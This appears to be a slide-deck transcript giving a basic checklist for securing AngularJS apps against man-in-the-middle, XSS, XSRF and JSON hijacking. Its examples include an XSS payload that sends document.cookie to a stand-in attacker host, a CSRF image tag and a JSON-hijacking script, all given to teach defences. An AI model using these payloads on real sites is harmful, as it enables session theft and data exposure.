Secure my ng-app
•
4 likes•5,501 views
Secure your AngularJS Application in minimal approach :)
Recommended
Recommended
More Related Content
What's hot
What's hot (20)
Viewers also liked
Viewers also liked (12)
Similar to Secure my ng-app
Similar to Secure my ng-app (20)
Recently uploaded
Recently uploaded (20)
Secure my ng-app
- 1. <I want to> Secure my ng-app! M A Hossain Tonu
- 2. AngularJS is a <battle> tank?
- 3. Wakeup! It’s just a client side <framework>!
- 4. <head-scratching> So what to do now?
- 5. Do <what> the whole world does!
- 6. <Follow> the security checklist (basic)!
- 7. Basics to secure my ng app! • Securing the server • Prevent Man-in-the-middle • Prevent XSS with NG Sanitize • Prevent XSRF • Prevent JSON Injection
- 8. Security is nothing but doing right things in right way.
- 10. Securing the Server Authorization + Authentication
- 12. Authorization Unauthorized access = HTTP 401
- 13. Authentication API POST /login! POST /register ! POST /logout ! GET /current-user
- 14. Preventing Cookie Snooping <man-in-the- middle attacks>
- 15. HTTPS = Sanity
- 16. Http should not be hardcoded angular! .module(‘app’)! .constant('NGCONF_CONFIG', ! {! baseUrl: ‘/my-precious-url/‘,! dbName: 'ngconf'! });
- 17. <authentication cookie to HTTPS only> httpOnly and secure options to true
- 19. Example, at index.php $name = $_GET['name'];! echo "Welcome $name<br>";! echo "<a href=“http:// mythikthaksite.com/“>My profile</a>";
- 20. Example, at index.php index.php? name=guest<script>alert('attacked')</ script>
- 21. Example, at index.php index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName(“ a");link[0].href="http://badsite.com/ xss?"+document.cookie;}</script>
- 22. Escaping is the ultimate solution!
- 23. AngularJS expressions ng-bind {{curly braces}}
- 24. General defence against XSS! $scope.msg = 'Hello, <b>World</b>!'; + = <p ng-bind="msg"></p> <p>Hello, <b>World</b>!</p>
- 25. Display Markup? $scope.msg = 'Hello, <b>World</b>!'; <p ng-bind-html-unsafe="msg"></p> + = <p>Hello, <b>World</b>!</p>
- 26. Allow safe HTML tags $scope.msg = 'Hello, <b>World</b>!'; + = <p ng-bind-html="msg"></p> <p>Hello, <b>World</b>!</p>
- 27. ng-bind-html • Sanitizes <script> and <style> elements • Sanitizes attributes that take URLs such as href, src, and usemap.
- 28. ng-bind-html dependency angular.module('expressionsEscaping', [‘ngSanitize'])! ! .controller('ExpressionsEscapingCtrl', function ($scope) {! $scope.msg = 'Hello, <b>World</b>!';! });!
- 29. $sanitize service var safeDescription = $sanitize(description);
- 30. Preventing XSRF
- 31. Example, Follower Trap http://my.loggedin.site.com/follow/USERNAME/
- 32. Meanwhile in an Evil Page! <img src=“http://my.loggedin.site.com/follow/USERNAME/“ width=“1” height=“1”>
- 33. $http service comes in with a solution!
- 34. Solution! • Server sets a session cookie XSRF-TOKEN • $http extracts this token • $http attaches it as a header X-XSRF-TOKEN • Token, auth cookie digest with added salt! yummy!
- 36. Loggedin at goodsite! http://goodsite.com/secret-info.json [‘a’, ‘b', 'c']
- 37. Meanwhile in an Evil Page!
- 38. <script type="text/javascript">! var json;! Array = function() { json = this;};! </script>! <script src=“http://goodsite.com/secret-info. json" type="text/javascript">! <script type=“text/javascript"> ! for(var index in json) { console.log(json[index]); }! </script>
- 39. Deliver Invalid JSON! )]}', [‘a’, ‘b', 'c']
- 40. $http service automatically strips this prefix string
- 41. This is it? Now implement Your Own Security Patterns :)
- 42. Homework for Good kids • Adding your own Security Service • securityInterceptor Service • Secure routes using Route Resolvers
- 43. Mastering Web Application Development with AngularJS
- 44. References • AngularJS Authentication Pattern • Secure AngularJS
- 45. QA?
- 46. Who am I? ! http://mahtonu.wordpress.com Vantage Labs Dhaka @mahtonu Authored the title “PHP Application Development with NetBeans: Beginner's Guide” http://link.packtpub.com/6HaElo